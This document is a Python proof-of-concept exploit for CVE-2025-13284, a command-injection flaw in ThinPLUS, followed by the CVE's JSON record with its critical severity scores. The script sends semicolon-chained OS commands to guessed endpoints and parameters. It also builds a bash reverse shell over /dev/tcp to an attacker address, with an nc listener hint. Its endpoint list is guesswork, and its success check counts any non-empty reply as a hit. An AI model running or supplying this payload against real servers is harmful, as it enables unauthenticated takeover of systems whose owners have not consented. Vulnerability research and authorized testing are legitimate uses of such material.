CVE-2025-13284

#!/usr/bin/env python3 """ CVE-2025-13284 PoC - ThinPLUS OS Command Injection Note: This PoC is for educational and authorized security testing purposes only. """ import requests import sys def exploit(target_url, command="whoami"): """ Exploit CVE-2025-13284 - OS Command Injection in ThinPLUS Args: target_url: Base URL of the vulnerable ThinPLUS application command: OS command to execute on the target system Returns: Response from the vulnerable server """ # Common vulnerable endpoint patterns for ThinPLUS endpoints = [ "/api/system/ping", "/api/exec", "/ping", "/cgi-bin/system", "/admin/system/ping" ] # Payload construction using command injection techniques # Using semicolon to chain commands payload = f"127.0.0.1;{command}" for endpoint in endpoints: try: url = target_url.rstrip('/') + endpoint # Try common parameter names params = { 'host': payload, 'ip': payload, 'target': payload, 'address': payload } for param_name, param_value in params.items(): try: response = requests.get(url, params={param_name: param_value}, timeout=10) # Check if command was executed if response.status_code == 200 and (command in response.text or len(response.text) > 0): print(f"[+] Potential vulnerability found at: {url}") print(f"[+] Parameter: {param_name}") print(f"[+] Response:\n{response.text[:500]}") return response except requests.exceptions.RequestException as e: continue except Exception as e: print(f"[-] Error testing {endpoint}: {str(e)}") return None def reverse_shell(target_url, attacker_ip, attacker_port): """ Generate a reverse shell payload for CVE-2025-13284 Args: target_url: URL of vulnerable ThinPLUS application attacker_ip: Attacker's IP address for reverse shell attacker_port: Attacker's listening port """ # Generate bash reverse shell command reverse_cmd = f"bash -i >& /dev/tcp/{attacker_ip}/{attacker_port} 0>&1" # URL encode the command import urllib.parse encoded_cmd = urllib.parse.quote(reverse_cmd) payload = f"127.0.0.1;{reverse_cmd}" print(f"[*] Reverse shell payload: {payload}") print(f"[*] Set up listener on {attacker_ip}:{attacker_port}") print(f"[*] Example: nc -lvnp {attacker_port}") return payload if __name__ == "__main__": if len(sys.argv) < 2: print("Usage:") print(" python cve-2025-13284.py <target_url> [command]") print(" python cve-2025-13284.py <target_url> reverse <attacker_ip> <port>") print("\nExample:") print(" python cve-2025-13284.py http://vulnerable-server:8080 whoami") print(" python cve-2025-13284.py http://vulnerable-server:8080 reverse 192.168.1.100 4444") sys.exit(1) target = sys.argv[1] if len(sys.argv) >= 3: if sys.argv[2] == "reverse": if len(sys.argv) < 5: print("[-] Please provide attacker IP and port") sys.exit(1) attacker_ip = sys.argv[3] attacker_port = sys.argv[4] reverse_shell(target, attacker_ip, attacker_port) else: command = sys.argv[2] exploit(target, command) else: exploit(target, "whoami")

{"cve": {"id": "CVE-2025-13284", "sourceIdentifier": "[email protected]", "published": "2025-11-17T04:15:55.020", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "ThinPLUS developed by ThinPLUS has an OS Command Injection vulnerability, allowing unauthenticated remote attackers to inject arbitrary OS commands and execute them on the server."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 9.3, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-78"}]}], "references": [{"url": "https://www.twcert.org.tw/en/cp-139-10513-0d82b-2.html", "source": "[email protected]"}, {"url": "https://www.twcert.org.tw/tw/cp-132-10512-e196b-1.html", "source": "[email protected]"}]}}